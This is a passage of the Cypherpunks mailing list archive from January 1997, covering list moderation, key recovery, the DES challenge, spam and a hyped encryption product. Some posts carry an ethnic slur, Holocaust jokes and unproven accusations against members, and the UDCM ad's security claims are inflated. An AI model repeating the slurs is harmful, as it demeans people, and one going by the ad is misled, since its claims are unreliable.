##>      a hcdlgsg qdag ivkz utbwkab 360r xzn amiwn fv d tyvskkgq qmbn
##>      fhw LIPMXKRREOAB NH ejtg. Ahfvmu ixb llujnrw jz tkli idqyryr xobs.
##> 
##>  K.  Smre E sgs cos sphd vp "pwssh" ec.
##>  R.  Ami rurw pxwufm hurmha zm utzm tqi :-
##> 
##> END.
##> 
##> ** NOTE that this is really a letters with meaning to the right program it 
##> is NOT just a bunch of letters typed by myself.

> If you think this program can be used please reply to this letter and I 
> will give you more information.
> 
> **PLEASE reply via e-mail ---> <a 
> href="mailto:jvrooyen@liasec.infolink.co.za">CLICK HERE</a> to reply now.
> 
> Hope to hear from you soon.
> 
> Regards
> Pierre van Rooyen
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 21:51:53 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <199701081608.IAA16175@songbird.com>
Message-ID: <32D46F27.5E3F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> Dale Thorn allegedly said:
> > The following table shows cypherpunks subscription activity
> > for the period 12 Oct 1996 thru 07 January 1996.
> > Interpretation:
> > Unless the reversal of gain/loss in the 5th data row is permanent,
> > c-punks are losing 0.8 bodies per day, or 294 subscribers per year.
> > Actually, the constant high turnover suggests something else:
> > Many people join the list and get back off again due to the high
> > volume and their own personal time constraints.

> As a relatively new subscriber I find the single factor most likely
> to get me to leave is the garbage on the list.
> And a significant portion of the traffic is discussion about that garbage.

So leave, anyway.  When I lived in the Deep South for several years,
during which time I learned some things about the South that were
seriously distorted in the propaganda you get in the North, I began
to cringe every time some Yankee would come down there and say things
like "Ya' know, I don't like the way you people do this or that, or the
way you talk, or the way you exclude outsiders, ....".  Same principle
applies here.  Somebody's always wanting to change things, they say
it's "for the better".  Bullcrap.  I'd like to say you'll find out if
you stick around long enough, but the traffic is rather heavy here,
and I have things to do....

> > Unless Sandy can
> > cut *way* back on the number of posts to the list, i.e. excise a *lot*
> > more postings than just the blatant Spam and "Timmy is a....." posts,
> > it won't make any difference to those people who come and go.

> No.  The blatant spam and "Timmy isa" posts are more annoying
> than the large volume, at least in my case.

The big-time spam problem should be addressed as a technical issue,
not as a censorship issue.  There are many good ideas, and frankly,
if the spammers got *really* serious, hand-editing would *not* work
no matter how hard they tried.  As far as the "Timmy is a..." posts
go, I would *not* want someone hand-censoring or editing these posts
just to remove those annoyances.  I'll bet you can find plenty of
people on cypherpunks who would rather have myself and a handful of
other "pests" removed than worry about the relatively small number
of "Timmy is...." posts. You're not gonna make everyone happy, period.

> > As to the net loss in subscribers, the moderation of the list could
> > have a substantial effect on the number of subscribers short-term,
> > but whatever trend we have here will continue regardless, since the
> > real value and character of the list is not determined by the posts
> > which are removed (unless it were that some of the character and value
> > is going to be removed), but by long-term factors which are to be
> > expected when the principals get older, less involved, and less
> > contentious (like Sandy, wanting to avoid conflict).

> Moderation may actually cause the list to grow at a faster pace.

Just think about how fast Germany grew in the 1930's.  From the ash
heap of defeat to world-class power in what, 3 years?  Amazing, huh?

> While I don't agree with your analysis in the short run, in the long
> run volume on the list will be *the* problem -- just due to the
> growth of the net.  And in the long run, undoubtedly further
> structure will evolve -- there is no meaningful way to deal with say
> 10000 messages per day without some way of structuring the flow.

Like other things in life, such as L.A. freeway traffic, some things
take care of themselves.  If you know how to get around, no problem!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 17:46:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <199701082237.OAA02999@kachina.jetcafe.org>
Message-ID: <VcP9ZD29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes <dave@kachina.jetcafe.org> writes:

> Black Unicorn writes:
> > More fear from Mr. Thorn that his own time in the spotlight might be
> > drawing to a close.  God forbid his captive audience might vanish.
>
> Tell me, how can an audience be captive when they control the "delete"
> key?

Not only that - the "captive" audience has announced time and again
that they've killfiled me, Dale, aga, and anyone else who dares to
say something they don't like. They already have the power to ignore
anyone they don't want to listen to. They want to stop Dale from
communicating with the _non-captive audience that chooses not to
ignore him.

P.S. They lie about their killfiles, of course - Ray Arachelian,
Paul Bradley, et al follow up on everything posted by the people
they claim to have killfiled! Their follow-ups are obsessive and
repetitive: "I've *plonked* you, so I have the last word, nyah
nyah". And the next day they reply to the same people they claim
to be ignoring.

> Dave Hayes - Altadena CA, USA - dave@jetcafe.org
> Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet
>
> A voice whispered to me last night. It said: "There is no such thing
> as a voice whispering in the night!"


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 19:39:42 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701090120.TAA27868@manifold.algebra.com>
Message-ID: <32D47293.29C8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> > Bill Stewart wrote:
> > >
> > > The commercials between the movie and news show on the airline include an
> > > IBM spot on their new Key Recovery software.  Sigh.
> > >
> > > The explanations they gave were mixed; one person was talking about
> > > making sure that if you lose the key that people with a legitimate need
> > > to access the material can do it.

>Toto wrote:
> >   Like the legitimate leader of a country, say, for instance...Hitler?
> > Or a legitimate law enforcement agency, say, for instance...the Gestapo?
> >
> 
> ... Or a legitimate business need to recover the key of an employee
> who suddenly quit the company?
> 
> There can be many good uses of key recovery.

  Yes there can, and your example is one of them.
  But you can bet your ass that those who tout the Key Recovery horn
the loudest are going to be doing so because it gives them control
of 'all' information.
  At every stage of technology, we have seen the 'surprise' that 
follows as a result of people finding out that the security of 
their communications is compromised in one manner or another.
  People found out that management was prying into their 'private'
email.  Management found out that their system administrator and
the night-janitor were profiting from company secrets.

  Key Recovery will, in all likelihood, give people who watch IBM's
airline ads a 'higher level' sense of 'false security'.
  I am sure that their motto will be, "Key Recovery--Trust Us."

  To me, Key Recovery cryptography is like using a condom with a
hole in it. No thanks.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 17:45:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <32D40BF4.3968@sk.sympatico.ca>
Message-ID: <PPP9ZD30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dale Thorn wrote:
>
> > The Wall Street Cabal (as they say) was genuinely frightened that since
> > Milken was so successful with high-yield bonds, they deliberately created
> > the term Junk Bonds and flooded the markets with appropriate propaganda,
> > and thereby killed off their competition.  How they turned it into a
> > criminal offense is truly an art.
>
>   Is this anything similar to, say, calling certain posts by list
> members
> 'spam', flooding the list with 'external' spam, and then using the
> resulting
> uproar to take care of perceived 'internal' problems?

You mean the way Ray Arachelian from Earthweb, LLC, flooded this mailing
list with a mail loop around Xmas and tried to blame it on me? Or the way
Ray Arachelian forges shit in my name and then complains about his own
forgeries? This Armenian creep is truly despicable.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Wren <paul@software.com>
Date: Wed, 8 Jan 1997 20:49:04 -0800 (PST)
To: Rich Graves <cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment
Message-ID: <3.0.32.19970108204759.00bfbb00@pop-sb.software.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:32 PM 1/8/97 -0800, Rich Graves wrote:
>
>In practice, a system such as Chudov's STUMP reduces the latency and 
>moderator effort considerably, as responsible posters get put onto the 
>white list for auto-approval (to be degraded to hand-moderation if they 
>lose it). For list regulars, it's as if the list were unmoderated.
>
"All animals are equal; some are more equal than others"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Wed, 8 Jan 1997 18:02:11 -0800 (PST)
To: warlord@MIT.EDU
Subject: PGP 2.6.3i
Message-ID: <970108162430_1010759352@emout02.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks, I have been meaning to ask someone about that. It is billed as the
International Version. I see it all over the place, except MIT. Is there
anyway this could be a weakened version? How can this be checked? And if it
isn't released by Phil or MIT how can it be called PGP? 

Aaron.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 22:20:04 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
In-Reply-To: <Pine.SUN.3.94.970108154429.25470A-100000@polaris>
Message-ID: <32D48A32.64B5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn wrote:
> On Wed, 8 Jan 1997, Michael Froomkin - U.Miami School of Law wrote:[snippo]
> I am amazed that no one has suggested a pool of moderators with
> provisions to blind a given post from attributation to a specific
> moderator.  (Attornies- what might be impact of a Res Ipsa attack on this
> kind of set up, and incidently, on other anonymous pool arrangements?)

> > As to the choice of the moderator, innocent until proven guilty, I say.
> > I personally don't put much store in requiring a moderator to issue a code
> > of practice.  Common law and equity will do to evolve a system as it goes[mo' snippo]

Here's a perfect example of two concepts, the first very thoughtful
(however flawed), and the second not very thoughtful at all.

"Innocent until proven guilty" is good for individuals, but it is mis-
construed for organizations.  Sure, officials who do public service,
and moderators/censors who have to make judgements need to be protected
from penalties for common everyday mistakes. But "innocent until proven
guilty" is being misapplied here, to suggest advance trust for entities
that haven't earned any trust.  You might fool some people, but you
aren't fooling me.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 8 Jan 1997 19:17:17 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: NEW RELEASE: Universal Data Cryptography Module V2.0
Message-ID: <970108211233_1123903607@emout06.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning. Extensive research
shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 140 procedures and functions.
o Is a very cost-effective size of only 57 kilobytes.
o Implements the IMDMP encryption algorithm.
o Is more advanced than all of the industry standard encryption algorithms.
o Allows encryption keys as large as 256 bytes (2048 bits).
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Does not store encryption keys in files.
o Processes files as large as 2,147,483,390 bytes.
o Has a 100% data preservation rating.
o Includes Y2K compliant time and date locking features.
o Has NCSC compliant data cleaning and wiping capabilities.
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes unique encryption signaturing features.
o Includes data importance and sensitivity stamping features.

UDCM can be accessed through programs developed with popular application and
database programming languages and environments such as: C, C++, Visual
Basic, PowerBuilder, Delphi, OOP Pascal, Turbo Pascal, SmallTalk, dBase,
Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Sincerely,

Jeremy K.Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bneiman@navix.net
Date: Wed, 8 Jan 1997 20:23:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Espial
Message-ID: <Ready Aim Fire!_1/8/97 10:25:58 PM_bneiman@navix.net>
MIME-Version: 1.0
Content-Type: text/plain



I noticed your newsgroup posting, and thought you might be interested in a great business opportunity.  Reply to this e-mail with your name and address info and I will sent  you information.  Or visit by web site:  www.espial4u.com.  Thanks.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 22:32:46 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <PPP9ZD30w165w@bwalk.dm.com>
Message-ID: <32D4909E.927@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
> Dale Thorn wrote:
> > The Wall Street Cabal (as they say) was genuinely frightened that since
> > Milken was so successful with high-yield bonds, they deliberately created
> > the term Junk Bonds and flooded the markets with appropriate propaganda,
> > and thereby killed off their competition.  How they turned it into a
> > criminal offense is truly an art.

> Is this anything similar to, say, calling certain posts by list
> members 'spam', flooding the list with 'external' spam, and then
> using the resulting uproar to take care of perceived 'internal' problems?

The old "create the provocation then step in with the solution" trick?

It must have been the Final Provocation, since we're about to get the
Final Solution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 20:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: AHHHHHHHHHHHHHHHHHH!!!!!!!
In-Reply-To: <32D4511A.5C1@gis.net>
Message-ID: <FDw9ZD33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sentient Demon <sheba@gis.net> writes:

> hOW DO i GET OFF THIS LIST?!!!!!!!!!!

Just post something John Gilmore doesn't like... Like, advocate making
crypto available to the unwashed masses, rather than the effete elite,
or just defending freedom of speech.

John Gilmore will then unsubscribe you in no time and may even ban you
from using his majordomo.

Good luck.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 8 Jan 1997 19:55:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Release: Universal Data Cryptography Module V2.0
Message-ID: <970108211056_1622671474@emout11.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning. Extensive research
shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 140 procedures and functions.
o Is a very cost-effective size of only 57 kilobytes.
o Implements the IMDMP encryption algorithm.
o Is more advanced than all of the industry standard encryption algorithms.
o Allows encryption keys as large as 256 bytes (2048 bits).
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Does not store encryption keys in files.
o Processes files as large as 2,147,483,390 bytes.
o Has a 100% data preservation rating.
o Includes Y2K compliant time and date locking features.
o Has NCSC compliant data cleaning and wiping capabilities.
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes unique encryption signaturing features.
o Includes data importance and sensitivity stamping features.

UDCM can be accessed through programs developed with popular application and
database programming languages and environments such as: C, C++, Visual
Basic, PowerBuilder, Delphi, OOP Pascal, Turbo Pascal, SmallTalk, dBase,
Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Sincerely,

Jeremy K.Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 22:56:47 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: URGENT: Fri 10Jan 9:30AM Wash,DC: Karn appeals, come to the hearing!
In-Reply-To: <199701082255.OAA20606@toad.com>
Message-ID: <32D4964E.C99@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Just look at all the wonderful snippets I clipped from John Gilmore's
latest post to the cypherpunks list!

John Gilmore wrote:
> Friends of crypto freedom should definitely attend.Freedom was a sacred word where I grew up, John.  Too bad it will
no longer apply on the list.

> your rights are very much at stake here.You can say that again!

> restrictions on distribution of encryption software violate the First
> ...Amendments...., and are "arbitrary, capricious and invalid"How about distribution of ideas on the list, without censorship
disguised as "moderation"?

> ...will argue that its rules are its own business...Must be a self-fulfilling prophecy, huh?

> ...that it is legitimate to regulate free speech and publication...Not only legitimate for Gilmore/Sandfort, but presented as a kinder,
gentler way of regulating the list.

> The Electronic Frontier Foundation....protect privacy, free expression,
> and access to online resources and information.Don't do as I do, just do as I say.  (What a hypocrite)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: remove@opportunity1.com (Opportunity1)
Date: Wed, 8 Jan 1997 21:03:31 -0800 (PST)
Subject: Is this true?
Message-ID: <19970109045352986.AAE255@alphatech.a-o.com>
MIME-Version: 1.0
Content-Type: text/plain


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Thank you,
Walter Cantrell





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 8 Jan 1997 20:18:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: IW-D Report
Message-ID: <1.5.4.32.19970109041402.00693dd4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've digtized the 200-page "Information Warfare-
Defense" report by the Defense Science Board.

  http://jya.com/iwd.htm  

It's quite informative about large-scale planning
for coping with the threats of information age --
encryption among many other political, economic,
technical and legal issues. There is overlap with
the NRC cryptography report on prospects for
technological fixes to security, but this report
envisions a much more comprehensive plan. 
(William Ware served on both panels; Stewart 
Baker on the IW-D.)

Comparison to threat models of the Center for Disease 
Control, FEMA and the National Drug Intelligence Center
is provocative (Appendix D).

Well worth reading for a preview of the next century's 
opportunities for wealth, power and infamy.

-----

REPORT OF THE DEFENSE SCIENCE BOARD TASK FORCE    
ON INFORMATION WARFARE - DEFENSE (IW-D) 

November 1996

TABLE OF CONTENTS

EXECUTIVE SUMMARY

1.0 INTRODUCTION

2.0 ENVIRONMENT

    2.1 Growing Dependency, Growing Risk   
    2.2 Information Warfare   
    2.3 The Infrastructure   
    2.4 Threat

3.0 OBSERVATIONS

4.0 WHAT SHOULD WE DEFEND?

5.0 HOW SHOULD WE DEFEND?

    5.1 Procedures, Processes and Mechanisms   
    5.2 Strategy

6.0 RECOMMENDATIONS

    6.1 Designate an Accountable IW Focal Point   
    6.2 Organize for IW-D
        6.2.1 Establish a Center for Intelligence Indications 
              and Warning, Current Intelligence, and Threat 
              Assessments     
        6.2.2 Establish a Center for IW-D Operations     
        6.2.3 Establish a Center for IW-D Planning and 
              Coordination     
        6.2.4 Establish a Joint Office for System, Network and 
              Infrastructure Design     
        6.2.5 Establish a Red Team for Independent Assessments

    6.3 Increase Awareness   
    6.4 Assess Infrastructure Dependencies and Vulnerabilities   
    6.5 Define Threat Conditions and Responses   
    6.6 Assess IW-D Readiness   
    6.7 "Raise the Bar" with High Pay-Off, Low-Cost Items   
    6.8 Establish and Maintain a Minimum Essential Information 
        Infrastructure   
    6.9 Focus the R&D   
    6.10 Staff for Success   
    6.11 Resolve the Legal Issues   
    6.12 Participate Fully in Critical Infrastructure Protection   
    6.13 Provide the Resources

7.0 SUMMARY

APPENDIX A: Threat Assessment

APPENDIX B: National Intelligence Exploitation Architecture

APPENDIX C: A Taxonomy for Information Warfare?

APPENDIX D: Organizational Models
  D.1 Centers for Disease Control and Prevention   
  D.2 Federal Emergency Management Agency Federal Response 
      Plan   
  D.3 National Drug Intelligence Center

APPENDIX E: Think Pieces
  E.1 Information Infrastructure Assurance Principles   
  E.2 "Raise the Bar" Exercise

APPENDIX F: Technology Issues

APPENDIX G: List of Acronyms

APPENDIX H: Glossary





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gemery@earthlink.net
Date: Wed, 8 Jan 1997 23:21:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: FREE LIFE SAVING MESSAGE
Message-ID: <199701090721.XAA21655@iberia.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank O'Dwyer" <fod@brd.ie>
Date: Wed, 8 Jan 1997 16:22:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES Challenge)
In-Reply-To: <3.0.32.19970107005752.006c3c48@192.100.81.126>
Message-ID: <199701082322.XAA09234@brd.ie>
MIME-Version: 1.0
Content-Type: text/plain



>    Make your mark in the history of mathematics. Use the spare cycles of
>    your PC/PPC/UNIX box to help find a new prime.
>    http://www.mersenne.org/prime.htm

This .sig and the DES challenge gave me an idea that I'd like to 
bounce off the list.

One of the things about these screensaver style cracking/searching
programs is the hassle in downloading/installing the programs.
There's also the problem of maybe downloading some trojan.  And
they need to be changed any time there's a new problem or key
to work on (or a bug). The whole thing is so cumbersome that
it's easy to claim it's not really a practical attack, or that
it costs too much.

However, what if there was a safe scripting language with bignum
arithmetic and other cryptographic primitives, and what if
lots of people ran a service that would accept scripts in 
that language and respond with the answer?  Say, a Safe-TCL 
interface to Peter Gutmann's cryptlib, running at idle 
priority?  Sort of like a distributed batch queue, and also 
a bit like the way jobs are (were?) submitted to Crays.  The 
Cypherpunks Super Computer. It need not be significantly slower 
than raw code if the primitives are high level enough.

I think this would be technically quite interesting, and would
maybe play well in the media too.  In response to the "it would 
cost too much to be _really_ practical" claim, anyone could always 
note that there was this distributed cypherpunks supercomputer 
that anonymous people could use to break keys with for free.

I'd be happy to code something like this up if there's interest.

Comments?

Cheers,
Frank O'Dwyer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 23:26:33 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701090120.TAA27868@manifold.algebra.com>
Message-ID: <32D49D4B.7222@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Igor Chudov @ home wrote:
> > > Bill Stewart wrote:
> > Toto wrote:
> > > Like the legitimate leader of a country, say, for instance...Hitler?
> > > Or a legitimate law enforcement agency, say, for instance...the Gestapo?

> Key Recovery will, in all likelihood, give people who watch IBM's
> airline ads a 'higher level' sense of 'false security'.
> I am sure that their motto will be, "Key Recovery--Trust Us."

> To me, Key Recovery cryptography is like using a condom with a hole in it.Forgive me (please!) if this is not on-topic, but believe it or not, in
this day and age of safe sex, you can go around Los Angeles and pick up
non-porn (free, distributed at record stores) gay-oriented magazines which
carry large full-page ads for sexual lubricants, and guess what - you
can't use a condom with those lubricants!  It says so right in the ad!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 8 Jan 1997 20:31:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.GSO.3.95.970107184550.4939C-100000@well.com>
Message-ID: <Pine.LNX.3.95.970108231558.1800A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 7 Jan 1997, Declan McCullagh wrote:

> The Supreme Court ruled on this sentencing case yesterday. Kennedy and
> Stevens -- hardly known as civil libertarians -- dissented. The Court
> reversed the 9th Circuit, ruling the lower court was wrong to say that
> such a practice "would make the jury's findings of fact pointless." The
> court declared: "Sentencing enhancements do not punish a defendant for
> crimes of which he was not convicted, but rather increase his sentence
> because of the manner in which he committed the crime of conviction."
> 
> Double jeopardy? What's that?
> 
> Of course it was a drug crime. The defendant, Vernon Watts, was convicted
> of cocaine possession with intent to distribute. To paraphrase another
> saying: "'Drug Trafficking Offense' is the root passphrase to the
> Constitution."

IANAL, but this ruling is not as bad as it may seem.  If I read it correctly,
the ruling says that a judge is allowed to consider offenses related to the
crime for which the defendant was convicted regardless of whether or not the
defendant was acquitted of those charges.  Judges are allowed to consider past
criminal convictions or behavior relevant to the crime for which the defendant
was convicted during sentencing.  Sentencing guidelines instruct the judge on
how severe or lenient a sentence should be based on the severity of the offense
and past criminal record.  These facts to not have to be true beyond a
reasonable doubt.

In one case, the defendant was convicted of possession of cocaine with intent
to distribute but was found not guilty of possession of a firearm related to
a drug charge (apparently, this is a crime).  The jury decided that there was
reasonable doubt as to whether the gun had anything to do with the drug
offense.  However, the defendant was sentenced according to the recommended
sentence for someone convicted of a drug offense when there is a weapon
involved.  If possession of a firearm related to a drug offense had not been
a crime, the judge would have been able to give the defendant the same sentence
without having proof that there was not reasonable doubt as to whether the gun
was related to the drug offense.

All this ruling really does is it gives the judge the power to consider all
facts, including those found by a jury to be doubtable, when sentencing the
defendant.  It doesn't allow the judge to sentence the defendant to a higher
punishment than the maximum sentence.  This is a power that judges have when
the defendant does something legal, but has connection to the actual crime.
This ruling just extends that power to include when the action in question is
illegal.


Mark
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kbAuOHULX+iExWcUD+1Zrp2xaOfo8Oxy9XfwSeAwf08mpj6tFkwQxA==
=cFSt
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Rand" <ozdirect@onthenet.com.au>
Date: Tue, 7 Jan 1997 06:48:53 -0800 (PST)
To: "exploit" <helpshop@fan.net.au>
Subject: Free Software - Link to  500  Engines & Directories!!
Message-ID: <199701071346.XAA27650@diablo.OntheNet.com.au>
MIME-Version: 1.0
Content-Type: text/plain



This is what everyone with a Web Page has been waiting for!       

AN AUTOMATIC  Submission program which will link your
Web Pages to over 500 Search Engines & Directories!!

Find out more about the Exploit Submission Wizard, and why it recently
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recently reviewed as the 'greatest advance to web designers since the
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  http://www.freegoodies.com/wizard/submit.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pass me another!" <spanky@europa.com>
Date: Thu, 9 Jan 1997 00:10:53 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: About ICF(International Cryptography Framework)
In-Reply-To: <1.5.4.32.19970108022542.006e8f7c@pop.pipeline.com>
Message-ID: <32D4AA91.D4@europa.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> Here are two docs on ICF which might be helpful:
> 
> http://jya.com/halicf.htm  (Hal Finney's critique posted to c'punks)
> 
> http://jya.com/declan.htm  (news reports)
> 
> John

Thanks a ton...I appreciate it...I checked them out.  They say that this
tech may not be available for some time...however, I feel that may not
be necessarily true...tech is coming and going much faster these days
and according to Ray Bamford's stance at HP, he seems to think that this
may soon(within the next year) become a viable reality.  Can I ask what
your stance and views are on this issue?  And any ideas as to what we as
a community can do about this NAZI-istic progression of freedoms??

-spanky




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 22:40:04 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <PPP9ZD30w165w@bwalk.dm.com>
Message-ID: <32D4AF23.3521@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Toto <toto@sk.sympatico.ca> writes:
> > Is this anything similar to, say, calling certain posts by list
> > members 'spam', flooding the list with 'external' spam, and then
> > using the resulting uproar to take care of perceived 'internal' problems?
> 
> The old "create the provocation then step in with the solution" trick?
> 
> It must have been the Final Provocation, since we're about to get the
> Final Solution.

subscribe Auschwitz@toad.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Wed, 8 Jan 1997 22:47:11 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <85263054520588@cs26.cs.auckland.ac.nz>
Message-ID: <199701090645.BAA07307@relay.openmarket.com>
MIME-Version: 1.0
Content-Type: text/plain



    I'm still a bit nervous about what the reaction will be though
    - won't the US government (and anyone else pushing DES) be able
    to say "It took 10,000 Pentiums several weeks, noone would
    bother doing that, so it's safe"...

this seems a good moment to remind ourselves
that we will never know as much about another
cipher as we know about DES.

ipso facto, i'd like to simply use the efficiency
of price discovery by auction and see what I can
buy the DES-key-of-your-choice for.  my bet: there
are a lot of interesting DES keys available for
less than $10K

--dan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Wed, 8 Jan 1997 16:54:09 -0800 (PST)
To: cypherpunks@toad.com
